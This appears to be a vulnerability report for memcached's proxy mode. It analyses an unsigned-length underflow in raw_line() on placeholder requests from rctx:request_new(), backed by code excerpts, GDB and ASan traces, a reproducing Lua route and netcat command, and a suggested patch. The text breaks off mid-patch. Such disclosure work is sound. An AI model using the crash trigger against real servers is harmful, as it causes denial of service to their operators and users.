[Security] Proxy `rctx:request_new()` placeholder request can trigger `raw_line()` length underflow, causing heap OOB read and server crash
Summary
rctx:request_new() in memcached proxy mode creates a placeholder mcp.request object by calling:
mcp_new_request(L, &pr, " ", 1);This produces an mcp.request object whose internal request buffer contains only one byte (' ') and whose parser state has:
rq->pr.reqlen == 1
rq->pr.tok.ntokens == 0
rq->pr.keytoken == 0However, the same object is exposed to Lua as a normal mcp.request object and therefore has access to the full mcp.request method table, including raw_line().
mcplib_request_raw_line() assumes that the request is a complete CRLF-terminated protocol line and unconditionally subtracts two bytes from the unsigned reqlen field:
lua_pushlstring(L, rq->pr.request, rq->pr.reqlen-2);When rq->pr.reqlen == 1, the expression rq->pr.reqlen - 2 underflows in the uint32_t domain to 0xffffffff (4294967295). This wrapped length is then passed to Lua as the string length and reaches memcpy() inside Lua's string allocator, causing a huge heap out-of-bounds read and a reliable server crash.
Impact confirmed locally:
- ASan/UBSan build:
AddressSanitizer: heap-buffer-overflow - ASan read size:
4294967295 - Crash site:
mcplib_request_raw_line() -> lua_pushlstring() -> luaS_newlstr() -> memcpy() - Release build: process exits with
SIGSEGV/ exit code139
Version
Affected version tested: 1.6.45
Commit: 2d51e36
Security impact
Process-level denial of service in the official memcached server when the built-in proxy is enabled and a vulnerable Lua route is installed.
A remote client request can enter the proxy request path, cause the configured Lua route to execute, and make the worker call raw_line() on a placeholder request object created by rctx:request_new(). In the tested release build, the server process reliably crashed with SIGSEGV.
Affected path
Observed runtime path:
client socket request
-> try_read_command_proxy()
-> proxy_process_command()
-> proxy_run_rcontext()
-> lua_resume()
-> Lua route
-> rctx:request_new()
-> mcplib_rcontext_request_new()
-> mcp_new_request(L, &pr, " ", 1)
-> nreq:raw_line()
-> mcplib_request_raw_line()
-> lua_pushlstring(L, rq->pr.request, rq->pr.reqlen - 2)
-> luaS_newlstr()
-> memcpy()
-> heap out-of-bounds read / SIGSEGVRoot cause analysis
1. mcp.request stores parser state plus a flexible request buffer
In proxy.h, mcp_request_t is a small wrapper around mcp_parser_t followed by a flexible array buffer:
typedef struct mcp_request_s mcp_request_t;
struct mcp_request_s {
mcp_parser_t pr; // non-lua-specific parser handling.
char request[];
};There is no separate type-level distinction between:
- a fully parsed canonical request object, and
- a placeholder request object intended to be filled later.
Therefore, once a placeholder is returned as mcp.request, normal request methods can consume it.
2. mcp_parser_t.reqlen is unsigned 32-bit
In proto_parser_type.h, reqlen is defined as uint32_t:
struct mcp_parser_s {
const char *request;
void *vbuf;
mcmc_tokenizer_t tok;
uint8_t command;
uint8_t cmd_type;
uint8_t keytoken;
uint32_t reqlen; // full length of request buffer.
int vlen;
uint32_t klen;
bool noreply;
};This matters because the subtraction in raw_line() is performed on an unsigned integer field.
3. rctx:request_new() creates a placeholder request with cmdlen == 1
In proxy_luafgen.c, mcplib_rcontext_request_new() creates a zero-initialized parser state and then calls mcp_new_request() with a single-space string and length 1:
int mcplib_rcontext_request_new(lua_State *L) {
mcp_rcontext_t *rctx = lua_touserdata(L, 1);
if (rctx->uobj_count == rctx->fgen->uobj_queues) {
proxy_lua_error(L, "rctx request new: object count limit reached");
return 0;
}
// create new request object
mcp_parser_t pr = {0};
mcp_request_t *rq = mcp_new_request(L, &pr, " ", 1);
_mcplib_rcontext_ref_uobj(L, rctx, rq, RQUEUE_TYPE_UOBJ_REQ);
return 1;
}This is the first broken invariant: the returned object has the type and method table of a normal mcp.request, but its buffer is not a complete memcached request line and is not CRLF-terminated.
4. mcp_new_request() copies cmdlen directly into rq->pr.reqlen
In proxy_request.c, mcp_new_request() copies the supplied parser state, copies the supplied command buffer, points pr.request at the embedded flexible array, and stores cmdlen directly as reqlen:
mcp_request_t *mcp_new_request(lua_State *L, mcp_parser_t *pr, const char *command, size_t cmdlen) {
mcp_request_t *rq = lua_newuserdatauv(L, sizeof(mcp_request_t) + MCP_REQUEST_MAXLEN, 0);
memset(rq, 0, sizeof(mcp_request_t));
memcpy(&rq->pr, pr, sizeof(*pr));
memcpy(rq->request, command, cmdlen);
rq->pr.request = rq->request;
rq->pr.reqlen = cmdlen;
luaL_getmetatable(L, "mcp.request");
lua_setmetatable(L, -2);
return rq;
}For the request_new() path:
command = " "
cmdlen = 1
rq->pr.reqlen = 1
rq->request[0] = 0x20No check enforces that this object is parse-complete or CRLF-terminated.
5. Normal mcp.request() construction does parse and validate request syntax
The normal Lua-exposed mcp.request() constructor in proxy_request.c follows a different contract. It expects a valid CRLF-terminated request string and parses it:
const char *cmd = luaL_checklstring(L, 1, &len);
if (len > MCP_REQUEST_MAXLEN) {
proxy_lua_error(L, "request length too long");
return 0;
}
if (memcmp(cmd+len-2, "\r\n", 2) != 0) {
proxy_lua_error(L, "request must end with \r\n");
return 0;
}
if (process_request(&pr, cmd, len) != 0) {
proxy_lua_error(L, "failed to parse request");
return 0;
}
mcp_request_t *rq = mcp_new_request(L, &pr, cmd, len);This shows the intended invariant for a normal mcp.request object:
- request buffer is a complete protocol line
- request buffer ends with "\r\n"
- parser state is populated by process_request()
- tokenizer fields are meaningful
- reqlen includes the complete request length
rctx:request_new() bypasses this canonical construction path but still returns the same type.
6. raw_line() assumes CRLF and subtracts 2 without validation
In proxy_request.c, mcplib_request_raw_line() is implemented as:
int mcplib_request_raw_line(lua_State *L) {
mcp_request_t *rq = luaL_checkudata(L, 1, "mcp.request");
lua_pushlstring(L, rq->pr.request, rq->pr.reqlen-2);
return 1;
}The implicit assumption is:
rq->pr.reqlen >= 2
rq->pr.request[rq->pr.reqlen - 2] == '\r'
rq->pr.request[rq->pr.reqlen - 1] == '\n'Those assumptions are true for a canonical request object, but false for the placeholder created by request_new().
For the placeholder:
rq->pr.reqlen = 1
rq->pr.reqlen - 2 = 0xffffffffBecause reqlen is uint32_t, the subtraction wraps in the 32-bit unsigned domain before being passed to lua_pushlstring().
7. The wrapped 32-bit value is widened to Lua's size_t length argument
The length passed to lua_pushlstring() is a size_t. Since the arithmetic result is already 0xffffffff, the value passed on a 64-bit host is:
(size_t)(uint32_t)0xffffffff = 4294967295This is why the ASan trace reports:
READ of size 4294967295and not:
READ of size 18446744073709551615The underflow occurs at the uint32_t expression level, not as a signed -1 converted directly into a 64-bit size_t.
8. The proxy Lua method table makes the bad state reachable
In proxy_lua.c, raw_line is registered as an mcp.request method:
const struct luaL_Reg mcplib_request_m[] = {
{"command", mcplib_request_command},
{"key", mcplib_request_key},
{"ltrimkey", mcplib_request_ltrimkey},
{"rtrimkey", mcplib_request_rtrimkey},
{"raw_line", mcplib_request_raw_line},
{"raw_value", mcplib_request_raw_value},
{"token", mcplib_request_token},
...
};The same file registers request_new as an mcp.rcontext method:
const struct luaL_Reg mcplib_rcontext_m[] = {
{"handle_set_cb", mcplib_rcontext_handle_set_cb},
{"enqueue", mcplib_rcontext_enqueue},
...
{"request_new", mcplib_rcontext_request_new},
{"response_new", mcplib_rcontext_response_new},
{"sleep", mcplib_rcontext_sleep},
{NULL, NULL}
};And the metatable setup makes these methods available through __index:
luaL_newmetatable(L, "mcp.request");
lua_pushvalue(L, -1);
lua_setfield(L, -2, "__index");
luaL_setfuncs(L, mcplib_request_m, 0);
luaL_newmetatable(L, "mcp.rcontext");
lua_pushvalue(L, -1);
lua_setfield(L, -2, "__index");
luaL_setfuncs(L, mcplib_rcontext_m, 0);Therefore, Lua code can naturally reach the vulnerable combination:
local nreq = rctx:request_new()
local line = nreq:raw_line()9. Similar CRLF invariant assumptions exist elsewhere
mcp_request_append() also assumes that pr->request + pr->reqlen - 2 points at '\r':
int mcp_request_append(mcp_request_t *rq, const char flag, const char *tok, size_t len) {
mcp_parser_t *pr = &rq->pr;
const char *start = pr->request;
char *p = (char *)pr->request + pr->reqlen - 2; // start at the \r
assert(*p == '\r');
...
}This is additional evidence that many request APIs assume canonical, CRLF-terminated request objects. The issue is that request_new() returns a non-canonical placeholder through the same public type.
GDB evidence
Two breakpoints were used:
break mcp_new_request if cmdlen==1
break mcplib_request_raw_lineBreakpoint 1: mcp_new_request(cmdlen == 1)
Observed values:
=== BP1 mcp_new_request(cmdlen==1) ===
command string: " "
$1 = 1After stepping past the rq->pr.reqlen = cmdlen assignment:
print rq
$2 = (mcp_request_t *) 0x61600000ffa0print rq->pr.reqlen
$3 = 1print rq->pr.tok.ntokens
$4 = 0 '\000'x/8bx rq->request
0x616000010008: 0x20 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbeInterpretation:
rq->pr.reqlen = 1
rq->pr.tok.ntokens = 0
rq->request[0] = 0x20 (' ')This is not a valid canonical request line. It is a placeholder object.
Breakpoint 2: mcplib_request_raw_line
At raw_line():
lua_pushlstring(L, rq->pr.request, rq->pr.reqlen-2);Observed values:
print rq
$6 = (mcp_request_t *) 0x61600000ffa0print rq->pr.reqlen
$7 = 1print rq->pr.tok.ntokens
$8 = 0 '\000'print rq->pr.keytoken
$9 = 0 '\000'print (unsigned int)(rq->pr.reqlen - 2)
$10 = 4294967295print (size_t)(rq->pr.reqlen - 2)
$11 = 4294967295x/8bx rq->request
0x616000010008: 0x20 0xbe 0xbe 0xbe 0xbe 0xbe 0xbe 0xbeObserved stack:
#0 mcplib_request_raw_line
#1 luaD_precall
#2 luaV_execute
#6 lua_resume
#7 proxy_run_rcontext
#8 proxy_process_command
#9 try_read_command_proxyThis confirms that the crash path is reached through the proxy request execution path rather than by directly calling an internal C function from a debugger.
ASan evidence
Here is the Full ASan=================================================================
==245055==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000101fc at pc 0x58b4bec3df54 bp 0x72ad0abf1e40 sp 0x72ad0abf1608
READ of size 4294967295 at 0x6160000101fc thread T5
#0 0x58b4bec3df53 in __interceptor_memcpy (/home/weichuan/wc-own/6-5/memcached/build-asan/memcached-debug+0x1a0f53) (BuildId: 7cde1af9b4bf24591e4279859c1d16432edd7ad4)
#1 0x58b4bef06510 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29:10
#2 0x58b4bef06510 in luaS_newlstr /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/lstring.c:229:5
#3 0x58b4beef7ee4 in lua_pushlstring /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/lapi.c:523:39
#4 0x58b4bee23fb4 in mcplib_request_raw_line /home/weichuan/wc-own/6-5/memcached/build-asan/../proxy_request.c:283:5
#5 0x58b4beefc041 in luaD_precall /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/ldo.c:532:12
#6 0x58b4bef0abdb in luaV_execute /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/lvm.c:1624:22
#7 0x58b4beefc1ee in ccall /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/ldo.c:577:5
#8 0x58b4beefc1ee in resume /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/ldo.c:731:5
#9 0x58b4beefb432 in luaD_rawrunprotected /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/ldo.c:144:3
#10 0x58b4beefc3ee in lua_resume /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/ldo.c:788:12
#11 0x58b4bee047a2 in proxy_run_rcontext /home/weichuan/wc-own/6-5/memcached/build-asan/../proto_proxy.c:822:17
#12 0x58b4bee0b0c8 in proxy_process_command /home/weichuan/wc-own/6-5/memcached/build-asan/../proto_proxy.c:1216:5
#13 0x58b4bee082c9 in try_read_command_proxy /home/weichuan/wc-own/6-5/memcached/build-asan/../proto_proxy.c:649:5
#14 0x58b4bece3adc in drive_machine /home/weichuan/wc-own/6-5/memcached/build-asan/../memcached.c:3099:17
#15 0x58b4becf5487 in event_handler /home/weichuan/wc-own/6-5/memcached/build-asan/../memcached.c:3377:5
#16 0x72ad0f876f57 (/lib/x86_64-linux-gnu/libevent-2.1.so.7+0x1ff57) (BuildId: 4c26f7362d55dd3d9504a9fe94805a6235d480c7)
#17 0x72ad0f8788a6 in event_base_loop (/lib/x86_64-linux-gnu/libevent-2.1.so.7+0x218a6) (BuildId: 4c26f7362d55dd3d9504a9fe94805a6235d480c7)
#18 0x58b4bed61937 in worker_libevent /home/weichuan/wc-own/6-5/memcached/build-asan/../thread.c:525:9
#19 0x72ad0ee94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8
#20 0x72ad0ef268cf misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x6160000101fc is located 0 bytes to the right of 636-byte region [0x61600000ff80,0x6160000101fc)
allocated by thread T5 here:
#0 0x58b4beca6f76 in __interceptor_realloc (/home/weichuan/wc-own/6-5/memcached/build-asan/memcached-debug+0x209f76) (BuildId: 7cde1af9b4bf24591e4279859c1d16432edd7ad4)
#1 0x58b4bef004ee in luaM_malloc_ /home/weichuan/wc-own/6-5/memcached/build-asan/vendor/lua/src/lmem.c:192:22
Thread T5 created by T0 here:
#0 0x58b4bec8ffcc in __interceptor_pthread_create (/home/weichuan/wc-own/6-5/memcached/build-asan/memcached-debug+0x1f2fcc) (BuildId: 7cde1af9b4bf24591e4279859c1d16432edd7ad4)
#1 0x58b4bed60efa in create_worker /home/weichuan/wc-own/6-5/memcached/build-asan/../thread.c:381:16
#2 0x58b4bed60efa in memcached_thread_init /home/weichuan/wc-own/6-5/memcached/build-asan/../thread.c:1150:9
#3 0x58b4bed10b8c in main /home/weichuan/wc-own/6-5/memcached/build-asan/../memcached.c:6041:5
#4 0x72ad0ee29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/weichuan/wc-own/6-5/memcached/build-asan/memcached-debug+0x1a0f53) (BuildId: 7cde1af9b4bf24591e4279859c1d16432edd7ad4) in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c2c7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fff9ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2c7fffa030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]
0x0c2c7fffa040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2c7fffa050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2c7fffa080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==245055==ABORTINGReproduction
Build ASan/UBSan version
./autogen.sh
mkdir -p build-asan
ln -sfn ../vendor build-asan/vendor
cd build-asan
CC=clang \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined" \
../configure --enable-tls --enable-proxy
make -j"$(nproc)"Proxy route used
The proxy config file used during local testing was:
proxy_request_new_rawline.luafunction mcp_config_pools()
return true
end
function mcp_config_routes()
local fg = mcp.funcgen_new()
fg:ready({
n = "blankreqrawline", u = 1, f = function(rctx)
local nreq = rctx:request_new()
return function(r)
local line = nreq:raw_line()
return "SERVER_ERROR " .. (line or "nil") .. "\r\n"
end
end
})
mcp.attach(mcp.CMD_MG, fg)
endThe important point is not the complexity of the client command. The client command only needs to enter the Lua route. The crash is caused by calling raw_line() on the placeholder request returned by request_new().
ASan reproduction
Terminal 1:
./memcached -u root -p 11241 -U 0 -m 64 -t 1 -o proxy_config=proxy_request_new_rawline.lua -vvTerminal 2:
printf 'mg x\r\n' | nc 127.0.0.1 11241Fix suggestion
Minimal safety fix
Add a shared validation helper for APIs that require a complete CRLF-terminated request line, and call it from mcplib_request_raw_line() before subtracting two bytes.
Suggested patch for proxy_request.c:
diff --git a/proxy_request.c b/proxy_request.c
index XXXXXXX..YYYYYYY 100644
--- a/proxy_request.c
+++ b/proxy_request.c
@@ -1,6 +1,20 @@
#include "proxy.h"
#include "proto_parser.h"
+static bool mcp_request_has_crlf_line(const mcp_request_t *rq) {
+ if (rq == NULL) {
+ return false;
+ }
+ if (rq->pr.request == NULL) {
+ return false;
+ }
+ if (rq->pr.reqlen < 2) {
+ return false;
+ }
+ const char *end = rq->pr.request + rq->pr.reqlen - 2;
+ return end[0] == '\r' && end[1] == '\n';
+}
+
// FIXME (v2): any reason to pass in command/cmdlen separately?
mcp_request_t *mcp_new_request(lua_State *L, mcp_parser_t *pr, const char *command, size_t cmdlen) {
mcp_request_t *rq = lua_newuserdatauv(L, sizeof(mcp_request_t) + MCP_REQUEST_MAXLEN, 0);
@@ -258,8 +272,13 @@ int mcplib_request_raw_line(lua_State *L) {
mcp_request_t *rq = luaL_checkudata(L, 1, "mcp.request");
+ if (!mcp_request_has_crlf_line(rq)) {
+ proxy_lua_error(L, "raw_line(): request is not a complete CRLF-terminated request");
+ return 0;
+ }
lua_pushlstring(L, rq->pr.request, rq->pr.reqlen-2);
return 1;
}Harden other CRLF-dependent request APIs
mcp_request_append() currently does this before checking the request shape:
char *p = (char *)pr->request + pr->reqlen - 2; // start at the \r
assert(*p == '\r');That function should also reject incomplete placeholder requests before pointer arithmetic:
@@ -97,10 +111,15 @@ int mcp_request_appSource: memcached/memcached